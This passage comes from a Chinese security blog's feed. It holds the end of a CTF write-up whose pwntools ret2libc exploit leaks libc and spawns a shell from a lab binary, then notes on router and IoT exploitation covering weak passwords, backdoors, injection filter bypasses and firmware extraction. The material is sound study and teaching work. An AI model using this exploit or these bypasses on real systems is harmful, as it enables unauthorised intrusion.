log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">binary = <span class="string">&#x27;./pwnme&#x27;</span></span><br><span class="line">elf = context.binary = ELF(binary)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)  <span class="comment"># 根据环境调整</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 启动进程</span></span><br><span class="line">p = process(binary)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第一次调用：泄露 puts 地址</span></span><br><span class="line">pop_rdi = <span class="number">0x4011bb</span>  <span class="comment"># pop rdi; ret</span></span><br><span class="line">printf_plt = elf.plt[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">main_addr = elf.symbols[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span> * <span class="number">40</span>  <span class="comment"># 32 bytes buf + 8 bytes saved rbp</span></span><br><span class="line">payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;Hello, \n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 接收 puts 地址并计算 libc 基址</span></span><br><span class="line">puts_addr = u64(p.recvline().strip().ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">libc_base = puts_addr - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system_addr = libc_base + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">binsh_addr = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line"></span><br><span class="line">log.info(<span class="string">f&#x27;puts_addr: <span class="subst">&#123;<span class="built_in">hex</span>(puts_addr)&#125;</span>&#x27;</span>)</span><br><span class="line">log.info(<span class="string">f&#x27;libc_base: <span class="subst">&#123;<span class="built_in">hex</span>(libc_base)&#125;</span>&#x27;</span>)</span><br><span class="line">log.info(<span class="string">f&#x27;system_addr: <span class="subst">&#123;<span class="built_in">hex</span>(system_addr)&#125;</span>&#x27;</span>)</span><br><span class="line">log.info(<span class="string">f&#x27;binsh_addr: <span class="subst">&#123;<span class="built_in">hex</span>(binsh_addr)&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第二次调用：执行 system(&quot;/bin/sh&quot;)</span></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span> * <span class="number">40</span></span><br><span class="line">payload += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;Hello, \n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 进入交互模式</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="脚本说明"><a href="#脚本说明" class="headerlink" title="脚本说明"></a>脚本说明</h2><ul><li>第一次 payload：<ul><li>填充 40 字节覆盖到返回地址。</li><li>调用 puts(puts@got) 泄露 puts 地址。</li><li>返回 main 函数，允许第二次输入。</li></ul></li><li>计算 libc 地址：<ul><li>从输出中提取 puts 地址，减去 libc 中 puts 的偏移，得到 libc 基址。</li><li>计算 system 和 &#x2F;bin&#x2F;sh 字符串的地址。</li></ul></li><li>第二次 payload：<ul><li>使用 pop rdi; ret gadget 将 &#x2F;bin&#x2F;sh 地址放入 rdi。</li><li>调用 system 执行 shell。</li></ul></li></ul><h1 id="运行结果"><a href="#运行结果" class="headerlink" title="运行结果"></a>运行结果</h1><p>运行脚本后，成功获取 shell：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ python3 exploit.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwnme&#x27;</span>: pid 12345</span><br><span class="line">[*] puts_addr: 0x7f1234567890</span><br><span class="line">[*] libc_base: 0x7f1234500000</span><br><span class="line">[*] system_addr: 0x7f1234543210</span><br><span class="line">[*] binsh_addr: 0x7f12346789ab</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">whoami</span></span><br><span class="line">user</span><br><span class="line">$ <span class="built_in">cat</span> flag</span><br><span class="line">FLAG&#123;stack_overflow_is_fun&#125;</span><br></pre></td></tr></table></figure></div><p>成功获取 shell，并读取 Flag。</p><h1 id="调试过程中的“坑”"><a href="#调试过程中的“坑”" class="headerlink" title="调试过程中的“坑”"></a>调试过程中的“坑”</h1><p>在调试时遇到以下问题：</p><ul><li>libc 版本不匹配：本地 libc 和题目环境的 libc 版本不同，导致偏移错误。解决方法是使用题目提供的 libc 文件或 Docker 环境。</li><li>ASLR 未关闭：本地测试时忘记关闭 ASLR，导致地址随机化。使用 echo 0 | sudo tee &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;randomize_va_space 解决。</li><li>payload 长度错误：最初填充长度错误，覆盖了无关区域。使用 gdb 调试确认 buf 到返回地址的偏移为 40 字节。</li></ul><h1 id="总结与反思"><a href="#总结与反思" class="headerlink" title="总结与反思"></a>总结与反思</h1><p>通过这道题目，我学习了以下关键点：</p><ul><li>栈溢出原理：通过覆盖返回地址控制程序流程。</li><li>ROP 链构造：使用 gadget（如 pop rdi; ret）传递函数参数。</li><li>libc 地址泄露：利用 GOT 表和 PLT 调用输出动态链接函数的地址。</li></ul><h2 id="改进思路"><a href="#改进思路" class="headerlink" title="改进思路"></a>改进思路</h2><ul><li>如果题目启用了 NX，可以尝试 ret2libc 或更复杂的 ROP 链。</li><li>可以优化脚本，使用 pwntools 的 ROP 模块自动构造链。</li><li>未来可以尝试分析带 Canary 或 ASLR 的题目，学习更高级的绕过技术。</li></ul>]]>
    </content>
    <id>https://3322888.xyz/2025/04/20/%E5%88%A9%E7%94%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E8%8E%B7%E5%8F%96-Shell%EF%BC%9A%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-PWN-%E4%B9%8B%E6%97%85/</id>
    <link href="https://3322888.xyz/2025/04/20/%E5%88%A9%E7%94%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E8%8E%B7%E5%8F%96-Shell%EF%BC%9A%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-PWN-%E4%B9%8B%E6%97%85/"/>
    <published>2025-04-19T16:06:47.000Z</published>
    <summary>
      <![CDATA[<h1 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h1><p>在 CTF 竞赛中，PWN（漏洞利用）题目是考验选手逆向分析和漏洞利用能力的重要环节。本文将分析一道简单的 Linux 64 位 PWN 题]]>
    </summary>
    <title>利用栈溢出获取 Shell：从零开始的 PWN 之旅</title>
    <updated>2025-04-19T16:09:48.259Z</updated>
  </entry>
  <entry>
    <author>
      <name>Zhuazikun</name>
    </author>
    <content>
      <![CDATA[<h2 id="前置基础"><a href="#前置基础" class="headerlink" title="前置基础"></a>前置基础</h2><ul><li>mips linux：使用mips指令架构的linux系统，广泛应用于嵌入式系统，路由器常用mips32和arm架构。</li><li>risc架构：精简指令集，包括mips、arm、risc-v。</li><li>busybox：精简终端，路由器shell多为裁剪版busybox，shell命令本质为busybox符号链接。</li></ul><h2 id="路由的漏洞利用"><a href="#路由的漏洞利用" class="headerlink" title="路由的漏洞利用"></a>路由的漏洞利用</h2><h3 id="利用方式"><a href="#利用方式" class="headerlink" title="利用方式"></a>利用方式</h3><ul><li>密码破解：默认密码、弱口令、字典爆破、侧信道（如服务器响应时间、返回数据包特征，爆破密码或PIN码）。</li><li>web漏洞：访问web管理服务与web界面交互，进行渗透（如SQL注入、RCE、CSRF、XSS）。</li><li>后门：如缓冲区溢出、危险函数利用。</li></ul><h2 id="密码破解"><a href="#密码破解" class="headerlink" title="密码破解"></a>密码破解</h2><ul><li>默认密码、弱口令、字典爆破。</li><li>侧信道攻击：利用响应时间、数据包特征爆破密码或PIN码。</li></ul><h2 id="web漏洞"><a href="#web漏洞" class="headerlink" title="web漏洞"></a>web漏洞</h2><ul><li>SQL注入、RCE、CSRF、XSS等。</li><li>通过web管理界面进行渗透。</li></ul><h2 id="后门"><a href="#后门" class="headerlink" title="后门"></a>后门</h2><ul><li>可绕过安全控制获取访问权的漏洞。</li><li>典型如32764端口后门等。</li></ul><h2 id="缓冲区溢出"><a href="#缓冲区溢出" class="headerlink" title="缓冲区溢出"></a>缓冲区溢出</h2><ul><li>危险函数：strcpy、sprintf、snprintf、strchr、gets、fgetc。</li><li>sprintf：格式化字符串中有%s且未判断长度，可能栈溢出。</li><li>snprintf：返回值为输入长度，size为unsigned类型，需注意负数转大正数的溢出。</li><li>strchr：复制长度由?前字符串长度决定，需注意越界。</li><li>fgetc：循环读取字符，注意循环边界。</li></ul><p>代码示例：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">// 使用snprintf安全格式化字符串，left为已写入长度</span><br><span class="line">// Use snprintf to safely format string, left is the length already written</span><br><span class="line">int left = snprintf(stack, sizeof(stack), &quot;%s&quot;, buf_from_http1);</span><br><span class="line">// 继续在stack后面追加内容，防止溢出</span><br><span class="line">// Continue appending to stack, prevent overflow</span><br><span class="line">snprintf(stack+left, sizeof(stack)-left, &quot;%s&quot;, buf_from_http2);</span><br><span class="line"></span><br><span class="line">// 查找url中的&#x27;?&#x27;字符，获取查询参数位置</span><br><span class="line">// Find &#x27;?&#x27; in url to get query parameter position</span><br><span class="line">char *query = strchr(url, &#x27;?&#x27;);</span><br><span class="line">// 将url中&#x27;?&#x27;前的内容复制到stack，长度为query - url - 1</span><br><span class="line">// Copy content before &#x27;?&#x27; in url to stack, length is query - url - 1</span><br><span class="line">strncpy(stack, url, query - url - 1);</span><br></pre></td></tr></table></figure></div><h2 id="逻辑漏洞"><a href="#逻辑漏洞" class="headerlink" title="逻辑漏洞"></a>逻辑漏洞</h2><ul><li>多功能点组合利用，挖掘攻击链。</li></ul><h2 id="注入类"><a href="#注入类" class="headerlink" title="注入类"></a>注入类</h2><ul><li>敏感函数：system、popen、exec、execve。</li><li>过滤绕过：如$IFS绕过空格，xxd、base64编码。</li></ul><h2 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h2><ul><li><a class="link"   href="https://github.com/giantbranch/mipsAudit" >mipsAudit<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>：mips静态汇编审计辅助脚本，回溯敏感函数审计危险函数。</li><li>在IDA-&gt;file-&gt;Script FIle中加载，控制台输出信息并高亮显示。</li></ul><h2 id="mips-linux"><a href="#mips-linux" class="headerlink" title="mips linux"></a>mips linux</h2><ul><li>mips linux广泛用于嵌入式系统，路由器常用mips32和arm。</li><li>mips通过a0-a3传递前4个参数，其余通过栈传递。</li><li>叶子函数与非叶子函数的栈布局和调用方式不同。</li></ul><h2 id="busybox"><a href="#busybox" class="headerlink" title="busybox"></a>busybox</h2><ul><li>busybox为精简终端，路由器shell多为其裁剪版。</li><li>常用命令：</li></ul><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ busybox --<span class="built_in">help</span>        <span class="comment"># 查看支持命令 / Show supported commands</span></span><br><span class="line">$ <span class="built_in">uname</span> -r              <span class="comment"># 查看内核版本 / Show kernel version</span></span><br><span class="line">$ <span class="built_in">ls</span> -al                <span class="comment"># 查看详细文件列表 / List files in detail</span></span><br><span class="line">$ <span class="built_in">rm</span> -rf /tmp           <span class="comment"># 强制删除目录 / Force delete directory</span></span><br><span class="line">$ <span class="built_in">cp</span> -R /tmp ./now      <span class="comment"># 复制目录 / Copy directory</span></span><br><span class="line">$ <span class="built_in">du</span> -sk fireware.bin   <span class="comment"># 查看文件大小 / Show file size</span></span><br><span class="line">$ ps -ef                <span class="comment"># 查看进程 / Show processes</span></span><br><span class="line">$ <span class="built_in">kill</span> -9 pid           <span class="comment"># 强制终止进程 / Force kill process</span></span><br><span class="line">$ killall -9 xxx        <span class="comment"># 强制终止进程名 / Force kill by process name</span></span><br><span class="line">$ ifconfig -a           <span class="comment"># 查看所有网卡信息 / Show all network interfaces</span></span><br></pre></td></tr></table></figure></div><h2 id="HTTP协议"><a href="#HTTP协议" class="headerlink" title="HTTP协议"></a>HTTP协议</h2><ul><li>CRLF：回车换行，C语言为\r\n，十六进制0A0D。</li><li>URI：统一资源标识符，包括协议、主机名、端口、路径、查询字符串、片段标识符。</li></ul><h2 id="文件系统"><a href="#文件系统" class="headerlink" title="文件系统"></a>文件系统</h2><ul><li>路径作用：<ul><li>&#x2F;bin &#x2F;sbin &#x2F;usr&#x2F;bin &#x2F;usr&#x2F;sbin：存放应用程序</li><li>&#x2F;lib &#x2F;usr&#x2F;lib：存放动态库</li><li>&#x2F;etc：存放配置文件</li></ul></li></ul><h2 id="固件修复"><a href="#固件修复" class="headerlink" title="固件修复"></a>固件修复</h2><ul><li>拿到固件后需模拟环境，缺少硬件易导致仿真失败。</li><li>修复流程：定位异常函数，编写同功能函数并封装为动态库，使用LD_PRELOAD劫持。</li></ul><h2 id="路由器漏洞原理与利用"><a href="#路由器漏洞原理与利用" class="headerlink" title="路由器漏洞原理与利用"></a>路由器漏洞原理与利用</h2><h3 id="路由器web漏洞"><a href="#路由器web漏洞" class="headerlink" title="路由器web漏洞"></a>路由器web漏洞</h3><ul><li>xss、csrf、基础认证漏洞（如<a class="link"   href="http://admin:admin@192.168.0.1形式免输用户名密码)./" >http://admin:admin@192.168.0.1形式免输用户名密码）。<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>基础认证漏洞可与xss、csrf组合，形成攻击链。</li></ul><h3 id="路由器后门漏洞"><a href="#路由器后门漏洞" class="headerlink" title="路由器后门漏洞"></a>路由器后门漏洞</h3><ul><li>可绕过安全控制的漏洞。</li><li>典型如32764端口后门。</li></ul><h3 id="路由器溢出漏洞"><a href="#路由器溢出漏洞" class="headerlink" title="路由器溢出漏洞"></a>路由器溢出漏洞</h3><ul><li>mips32函数调用与x86不同，参数传递和栈布局需注意。</li><li>非叶子函数可正常溢出利用，叶子函数需溢出大量数据覆盖父函数返回地址。</li></ul><h2 id="软件层分析"><a href="#软件层分析" class="headerlink" title="软件层分析"></a>软件层分析</h2><h3 id="固件获取"><a href="#固件获取" class="headerlink" title="固件获取"></a>固件获取</h3><ul><li>路由器固件包含操作系统内核和文件系统。</li><li>获取途径：厂商网站、web管理界面、硬件提取、云市场。</li></ul><h3 id="文件系统-1"><a href="#文件系统-1" class="headerlink" title="文件系统"></a>文件系统</h3><ul><li>路由器文件系统用于存储操作系统、配置文件、日志等。</li><li>常见压缩格式：Squashfs（GZIP, LZMA, LZO, XZ）。</li><li>提取方法：strings、hexdump、dd、file等命令结合使用。</li><li>自动提取工具：binwalk。</li></ul><p>代码示例：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ strings firmware.bin | grep `python -c <span class="string">&#x27;print &quot;\x28\xcd\x3d\x45&quot;&#x27;</span>`  <span class="comment"># 查找特征字符串 / Find signature string</span></span><br><span class="line">$ <span class="built_in">dd</span> <span class="keyword">if</span>=firmware.bin bs=1 count=1024 skip=256 of=out.squashfs             <span class="comment"># 提取文件系统 / Extract filesystem</span></span><br><span class="line">$ binwalk -Me x.bin --run-as=root                                         <span class="comment"># 自动提取 / Auto extract</span></span><br></pre></td></tr></table></figure></div><h2 id="硬件层分析"><a href="#硬件层分析" class="headerlink" title="硬件层分析"></a>硬件层分析</h2><ul><li>通过路由器硬件接口获取固件，如JTAG、Flash芯片编程器、芯片夹等。</li><li>路由器flash为常用内存类型，断电后仍保存数据。</li><li>bootloader（如u-boot）负责设备启动和内核加载。</li><li>kernel为操作系统内核，root filesystem为根文件系统。</li><li>nvram保存配置文件，启动时读取。</li></ul><hr>]]>
    </content>
    <id>https://3322888.xyz/2025/04/19/loT%E5%9F%BA%E6%9C%AC%E7%9F%A5%E8%AF%86/</id>
    <link href="https://3322888.xyz/2025/04/19/loT%E5%9F%BA%E6%9C%AC%E7%9F%A5%E8%AF%86/"/>
    <published>2025-04-19T07:46:27.000Z</published>
    <summary>
      <![CDATA[<h2 id="前置基础"><a href="#前置基础" class="headerlink" title="前置基础"></a>前置基础</h2><ul>
<li>mips linux：使用mips指令架构的linux系统，广泛应用于嵌入式系统，路由器常用mips32和arm]]>
    </summary>
    <title>loT基本知识</title>
    <updated>2025-04-19T08:10:17.522Z</updated>
  </entry>
</feed>
